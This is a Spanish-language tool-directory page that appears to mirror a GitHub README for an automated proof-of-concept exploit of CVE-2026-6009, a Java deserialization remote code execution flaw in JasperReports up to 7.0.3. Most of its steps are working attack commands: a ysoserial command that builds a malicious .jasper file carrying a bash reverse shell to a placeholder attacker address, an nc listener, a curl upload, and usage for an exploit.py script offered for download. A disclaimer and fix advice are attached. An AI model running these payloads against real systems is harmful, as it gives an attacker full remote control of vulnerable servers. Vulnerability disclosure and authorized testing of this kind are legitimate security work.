Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/pumila03/cve-2026-6009
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónHerramienta de Acceso Remoto
GitHubpumila03/cve-2026-6009

CVE-2026-6009

Exploit PoC automatizado para CVE-2026-6009, una RCE por deserialización de Java en Jaspersoft Reports <=7.0.3. Genera cargas maliciosas .jasper mediante ysoserial y entrega una reverse shell a través del endpoint de carga de archivos.

Ver Repositorio
1hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

⚠️ Descargo de responsabilidad: Este repositorio es solo para fines educativos y pruebas de seguridad autorizadas. No lo utilice en sistemas que no posea o para los que no tenga permiso explícito por escrito para realizar pruebas.

CVE-2026-6009

Prueba de Concepto

Resumen

La biblioteca Jaspersoft report versión <= 7.0.3 es vulnerable a una ejecución remota de código (RCE) mediante la explotación del flujo de deserialización de Java. Esta vulnerabilidad permite a un atacante realizar una conexión con una shell inversa en el sistema que utiliza esta versión de la biblioteca.

  • Biblioteca: Jaspersoft report
  • Versión afectada: <= 7.0.3
  • Tipo de vulnerabilidad: RCE mediante deserialización de Java
  • CVE-2026-6009
  • Puntaje CVSS: 8.7 (Alto)
  • Fecha: 2026-05-19

Descripción de la vulnerabilidad

Para transmitir datos, algunos sistemas deben convertir objetos en un formato transmisible determinado, esto es la serialización. La deserialización es la operación inversa. En Java, el mecanismo vulnerable está en ObjectInputStream.readObject() que se utiliza para deserializar cualquier objeto a partir de un flujo de entrada. Dado que utiliza este método para leer archivos de informes en la biblioteca Jaspersoft, es un punto de entrada peligroso para introducir código malicioso.

JRLoader.loadObject()
.jasper

Solo readObject() no es suficiente para desencadenar código. Solo funciona en clases conocidas explotables. Entonces los atacantes utilizan cadenas de gadgets conocidas como CommonCollection para ejecutar sus cargas útiles.

Entorno

Para poder hacer una Prueba de Concepto (PoC), monté un laboratorio en una máquina Parrot con un servidor web Java utilizando la biblioteca Jaspersoft Report:

SO : Parrot OS 7 GNU/Linux Framework: Spring Boot version 2.7.18 Dependencia: Jasperreports version 7.0.3 Entorno: Java 11 Compilador: Maven

Ejemplo de código vulnerable :

root@kitploit:~
@PostMapping("/upload-report")
    public String uploadReport(@RequestParam("file") MultipartFile file) {
        try {
            InputStream is = file.getInputStream();

            // ObjectInputStream.readObject() appelé en interne par JRLoader
            JasperReport report = (JasperReport) JRLoader.loadObject(is);
            ...

Pasos para reproducir

  1. Análisis

Para el primer paso, una vez que sepas que tu sistema objetivo utiliza una versión vulnerable de Jasperreport, necesitas encontrar el destino exacto donde el objetivo recibirá el archivo jasper.

En este entorno, es http://localhost:8080/upload-report

  1. Verificar la vulnerabilidad

Luego necesitas encontrar una manera de descubrir qué clase puede utilizarse como cadena de gadgets en el sistema objetivo. También puedes probar algunas y ver cuál desencadena el sistema.

En un contexto de caja blanca, podemos buscar esta información por nosotros mismos:

root@kitploit:~
mvn dependency:tree | grep -i "commons\|spring\|groovy\|beanshell"

Encontramos que el sistema utiliza CommonsCollections.

  1. Generar la carga útil

Para CommonsCollections, utiliza el script ysoserial para generar la carga útil que desees. Aquí, haz una shell inversa:

root@kitploit:~
java -jar ysoserial.jar CommonsCollections5 "/bin/bash -i >& /dev/tcp/IP_SOURCE/PORT 0>&1" > file.jasper

Probablemente necesitarás probar varias versiones de CommonCollections para ejecutar la carga útil.

  1. Preparar el exploit

Para realizar una conexión de shell inversa, necesitamos escuchar en un puerto para recibir la conexión del sistema objetivo iniciada por la carga útil:

root@kitploit:~
nc -lnvp 4444
  1. Explotar

Finalmente, solo tienes que enviar la carga útil que creaste en la ubicación que encontraste y comprobar tu puerto para confirmar que la conexión se ha establecido desde el sistema objetivo:

root@kitploit:~
curl -X POST http://localhost:8080/upload-report -F "[email protected]"

Impacto

Un atacante con acceso al endpoint podría ejecutar código arbitrario con privilegios de servidor, lo que podría llevar a un compromiso total del sistema.

Recomendaciones de solución

  • Actualizar JasperReports a la versión 7.0.4+
  • Nunca deserializar archivos .jasper de fuentes desconocidas
  • Implementar lista blanca para clases autorizadas

Script

Descripción

exploit.py es un script automatizado para reproducir la explotación de la vulnerabilidad CVE-2026-6009.

Uso

root@kitploit:~
python3 exploit.py -t TARGET -s IP_SOURCE -p PORT
python3 exploit.py -t http://localhost:8080/upload-report -s 192.168.1.1 -p 4444

Opciones

BanderaDescripción
-t, --targetUbicación donde subir el archivo .jasper
-s, --sourceTu dirección IP
-p, --portEl puerto al que deseas que se conecte la shell inversa
Descargar herramienta